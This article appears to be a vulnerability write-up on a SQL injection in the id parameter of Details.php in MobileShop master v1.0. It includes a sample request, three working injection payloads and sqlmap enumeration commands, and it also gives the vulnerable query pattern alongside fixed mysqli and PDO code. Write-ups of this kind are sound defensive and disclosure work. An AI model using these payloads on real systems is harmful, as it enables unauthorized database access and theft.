MobileShop master v1.0 - SQL Injection Vuln.

MobileShop master v1.0 — SQL Injection Vulnerability: Analysis, Proof-of-Concept, and Fixes

This article examines a SQL Injection (CWE-89) in MobileShop master v1.0 (file: Details.php, parameter: id). It explains how the flaw is introduced, demonstrates safe, authorized testing techniques and PoC payloads, details the possible impact, and provides secure code corrections and mitigation strategies. All testing instructions and examples are intended for use only on systems you own or systems for which you have explicit permission to test.

Affected Component

• Application: MobileShop master v1.0
• Vulnerable file: /MobileShop-master/Details.php
• Vulnerable parameter: POST parameter id
• Platform: PHP (observed PHP 8.2.12), back-end DBMS: MySQL/MariaDB

Vulnerability Summary

The application constructs SQL queries by concatenating user-supplied input into SQL statements without proper parameterization or sanitization. An attacker who can control the id parameter may manipulate the query to perform boolean-based, time-based, error-based, or UNION-based SQL injection, enabling database enumeration and data exfiltration.

Attribute	Value
CWE	CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
CVSSv3	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (high)
Root cause	Unparameterized SQL concatenating user input (id)

Proof-of-Concept (Ethical Testing)

Only test in a lab or when you have authorization. The following demonstrates how the vulnerability manifests and the typical payloads used by pentesters and automated tools to confirm exploitation.

POST /MobileShop-master/Details.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=mh3mnpf51bj2q17hg8sipbltnn

id=1

Explanation: This is the normal POST body the application expects — a numeric id is submitted to fetch product details. If the application concatenates this value directly into SQL without parameterization, it is exploitable.

Example Test Payloads (for authorized testing)

id=1' AND 9071=9071 AND 'EtdU'='EtdU
id=1' AND (SELECT 7012 FROM(SELECT COUNT(*),CONCAT(0x7176787071,(SELECT (ELT(7012=7012,1))),0x7171717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wwwk'='wwwk
id=1' UNION ALL SELECT NULL,CONCAT(0x7176787071,0x7867535464594a544c58796246766f6a444c4358426b596c71724b59676455644b66794858734670,0x7171717671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

Explanation: These payloads demonstrate different SQLi techniques: boolean-based, error-based (string concat and collision), and UNION-based data extraction. They are useful to confirm the presence and type of SQL injection during a controlled assessment.

Automated Testing Example (sqlmap)

sqlmap -r sql.txt -p id --dbs

Explanation: This command instructs sqlmap to read an HTTP request saved in sql.txt, target the parameter id, and enumerate databases. Use sqlmap only on systems you own or where testing is authorized; running automated scanners against third-party systems without permission is illegal.

Root Cause Analysis

• The server-side code likely builds SQL like: SELECT * FROM products WHERE id = '".$_POST['id']."' — concatenating the raw POST value.
• No parameterized queries or prepared statements are used.
• Input validation is insufficient (application trusts numeric-looking input or does ad-hoc filtering that is bypassable by crafted payloads).
• Database user may have broad privileges (SELECT, SHOW, FILE, etc.), increasing impact.

Impact

A successful SQL injection can allow an attacker to:

• Read sensitive data (user accounts, hashed passwords, API keys) from the database.
• Modify or delete data, affecting integrity and availability.
• Enumerate database schema and pivot to other internal resources.
• In some configurations, escalate to command execution or write files if the DB user has FILE or other dangerous privileges.

Secure Fixes — Code Examples

Below are common vulnerable and corrected patterns. Replace direct string concatenation with parameterized queries (prepared statements). Also constrain input types and follow the principle of least privilege for the DB user.

Vulnerable Example (do not use)

<?php
// Vulnerable: directly interpolates user input into SQL
$id = $_POST['id'];
$sql = "SELECT * FROM products WHERE id = '$id'";
$result = $conn->query($sql);
?>

Explanation: This code concatenates the raw POST parameter into the SQL string. An attacker controlling id can inject SQL fragments.

Fixed Example — mysqli with Prepared Statements

<?php
// Secure: use prepared statements and validate input
if (!isset($_POST['id'])) { exit; }
$id = $_POST['id'];

// Basic type validation (example assumes integer ids)
if (!ctype_digit($id)) {
    // input is not a positive integer
    http_response_code(400);
    exit('Invalid product id');
}

$stmt = $conn->prepare('SELECT id, name, description, price FROM products WHERE id = ? LIMIT 1');
$stmt->bind_param('i', $id); // 'i' = integer
$stmt->execute();
$result = $stmt->get_result();
$product = $result->fetch_assoc();
?>

Explanation: This code performs input validation using ctype_digit to ensure the id is numeric, uses a prepared statement with a parameter placeholder (?), binds the id as an integer, and executes the statement, preventing SQL injection by design.

Fixed Example — PDO with Prepared Statements

<?php
// Using PDO with strict error handling
$pdo = new PDO($dsn, $user, $pass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
]);

$id = $_POST['id'] ?? null;
if (!is_string($id) || !preg_match('/^\d+$/', $id)) {
    http_response_code(400);
    exit('Invalid product id');
}

$stmt = $pdo->prepare('SELECT id, name, description, price FROM products WHERE id = :id LIMIT 1');
$stmt->execute([':id' => (int)$id]);
$product = $stmt->fetch(PDO::FETCH_ASSOC);
?>

Explanation: PDO prepared statements with named placeholders prevent SQL injection. Setting PDO::ATTR_EMULATE_PREPARES to false forces native prepared statements where available. Input is validated and cast to integer before binding.

Other Recommended Controls

• Use whitelisting for expected inputs (e.g., numeric id, specific formats) rather than blacklisting.
• Limit the database user's privileges: for web apps, permit only required operations (typically SELECT/INSERT/UPDATE/DELETE) on specific schemas and avoid granting FILE, PROCESS, or SUPER.
• Disable verbose database error messages in production; log errors server-side and show generic messages to users.
• Apply least privilege and role-based access control to the application and DB accounts.
• Deploy a Web Application Firewall (WAF) as a compensating control to detect and block common SQLi patterns while code fixes are applied.
• Use parameterized ORMs or stored procedures where appropriate, and adopt secure coding standards and code reviews focused on injection risks.

Detection and Testing Guidance

• Perform automated scans and manual testing in authorized environments. Look for behavioral differences (error messages, timing changes) when altering input to include boolean, time, and UNION payloads.
• Monitor logs for suspicious query patterns and repeated failed accesses to endpoints that accept user-supplied SQL-like strings.
• Use safe commands for authorized testing; e.g., with sqlmap, limit risk by using non-destructive options (--batch --level 1) and targeting only allowed systems. Example:

sqlmap -r sql.txt -p id --batch --level=1 --risk=1 --dbs

Explanation: The example shows a basic sqlmap invocation reading the saved request file (sql.txt), targeting parameter id, and enumerating databases. Only run with explicit permission.

Responsible Disclosure & Patch Process

• Follow a coordinated disclosure process: notify the vendor with details and allow reasonable time for a fix.
• Provide clear reproduction steps, vulnerable endpoints, and suggested fixes (prepared statements and validation examples above).
• After the vendor releases a patch, verify the fix in a staging environment and run regression and security tests.

Summary

MobileShop master v1.0 contains a high-risk SQL injection in Details.php via the id parameter caused by unparameterized SQL construction. The recommended remediation is to adopt prepared statements (mysqli or PDO), enforce strict input validation/whitelisting, and reduce database privileges. Complementary defenses include WAFs, secure error handling, logging, and an established responsible disclosure process.